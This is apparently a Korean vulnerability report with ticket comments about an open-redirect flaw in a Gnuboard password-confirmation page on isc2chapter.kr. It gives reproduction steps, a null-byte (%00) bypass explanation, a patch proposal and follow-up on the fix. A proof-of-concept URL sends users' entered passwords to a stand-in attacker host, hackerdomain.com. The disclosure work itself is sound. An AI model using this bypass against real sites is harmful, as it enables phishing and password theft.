Weakness
Description
개요
회원 비밀번호 확인 페이지(/bbs/member_confirm.php
)에서 url
파라미터의 값을 다른 도메인으로 지정할 수 있는 취약점임.
비밀번호를 입력하고 확인 버튼을 누르면 임의의 도메인으로 입력한 비밀번호가 전송되도록 할 수 있음
PoC: https://isc2chapter.kr/bbs/member_confirm.php?url=http://hackerdomain.com%00@isc2chapter.kr
재현 과정
-
[step1] 사용자가 해커에게 받은 URI에 접속함.
https://isc2chapter.kr/bbs/member_confirm.php?url=http://hackerdomain.com%00@isc2chapter.kr
-
[step2] 사용자가 비밀번호를 입력하고 확인 버튼을 누름.
-
[step3] 해커의 도메인
hackerdomain.com
으로 사용자가 입력한 비밀번호가 전송됨.
예상되는 취약점 발생 원인
그누보드엔 url query 파라미터로 들어오는 %00
값을 \0
으로 replace하는 루틴이 있는데,
이를 이용하여 url
파라미터의 필터링을 우회할 수 있음.
url
파라미터의 값인 http://hackerdomain.com%00@isc2chapter.kr
이
내부적으로 http://hackerdomain.com\0@isc2chapter.kr
으로 치환됨.
웹브라우저 상에서 http://hackerdomain.com\0@isc2chapter.kr
에 접속하면,
http://hackerdomain.com/0@isc2chapter.kr
으로 들어가짐
패치 방법
$_GET['url']
변수의 값에 \0
이 포함되면 오류가 발생하도록 패치
예상 결과 및 파급력
해커가 임의로 만든 URI에 사용자들이 접속하도록 유도하여, 사용자들의 비밀번호를 탈취할 수 있음.
Timeline
안녕하세요.
form
태그의 action
속성이 /bbs/member_confirm.php
이라는 URL로 하드코딩하신것 같은데,
이러니까 비밀번호 확인 기능이 정상적으로 작동하질 않네요.
제가 티켓 제출 당시에 패치 방법에 \0
을 막으라고 적어두었는데…
지금 보니까 \0
말고도 다른 문자로도 우회가 가능한게 확인되어서, 패치 방법 수정안을 올리겠습니다.
패치 방법
url
파라미터의 값에 \0
, '
, \
등의 문자가 포함되면 오류가 발생하도록 패치
안녕하세요.
패치가 완료 되었는데, 확인 한번 해주시겠어요?